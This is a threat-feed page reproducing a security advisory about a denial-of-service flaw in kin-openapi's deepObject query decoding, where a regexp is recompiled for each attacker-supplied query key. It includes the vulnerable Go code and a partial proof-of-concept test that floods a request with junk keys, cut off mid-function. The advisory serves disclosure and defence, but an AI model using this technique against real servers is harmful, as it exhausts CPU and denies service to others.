Skip to main content

Threats Tagged 'ghsa-h4r5-mxv5-8mjc'

View all threats tagged with 'ghsa-h4r5-mxv5-8mjc'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-h4r5-mxv5-8mjc

Threats Tagged 'ghsa-h4r5-mxv5-8mjc'

Click on any threat for detailed analysis and mitigation recommendations

### Summary `openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service. This is **not** ReDoS: the pattern is fixed (`^<param>\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key. ### Details In `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys: ```go case "deepObject": propsFn = func(params url.Values) (map[string]string, error) { props := make(map[string]string) for key, values := range params { // req_resp_decoder.go:689 if !regexp.MustCompile(fmt.Sprintf(`^%s\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690 continue } matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1) ... } ... } ``` The regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string. Contrast this with the already-hoisted, package-level regexp used two lines below: ```go var deepObjectBracketRE = regexp.MustCompile(`\[(.*?)\]`) // req_resp_decoder.go:41 ``` `deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration. `regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU. Affected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable. ### PoC The following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter. Save as `openapi3filter/advisory_poc_test.go`: ```go package openapi3filter_test import ( "context" "fmt" "net/http" "strings" "testing" "time" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const specDeepObjectParam = ` openapi: 3.0.0 info: {title: PoC, version: 1.0.0} paths: /f: get: parameters: - name: filter in: query style: deepObject explode: true schema: {type: object, properties: {a: {type: string}}} responses: '200': {description: ok} ` // TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the // number of (attacker-controlled) junk query keys because a loop-invariant // regexp is recompiled once per key. It logs timings for two key counts and // fails if the larger count crosses a clearly-abnormal CPU threshold. func o(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(specDeepObjectParam)) if err != nil { t.Fatalf("load: %v", err) } if err := doc.Validate(loader.Context); err != nil { t.Fatalf("validate: %v", err) } router, err := gorillamux.NewRouter(doc) if err != nil { t.Fatalf("router: %v", err) } run := func(n int) time.Duration { var sb strings.Builder sb.WriteString("/f?filter[a]=x") for i := 0; i < n; i++ { fmt.Fprintf(&sb, "&j%d=1", i) } req, _ := http.NewRequest(http.MethodGet, sb.String(), nil) route, pathParams, err := router.FindRoute(req) if err != nil { t.Fatalf("route: %v", err) } start := time.Now()

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-h4r5-mxv5-8mjc
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses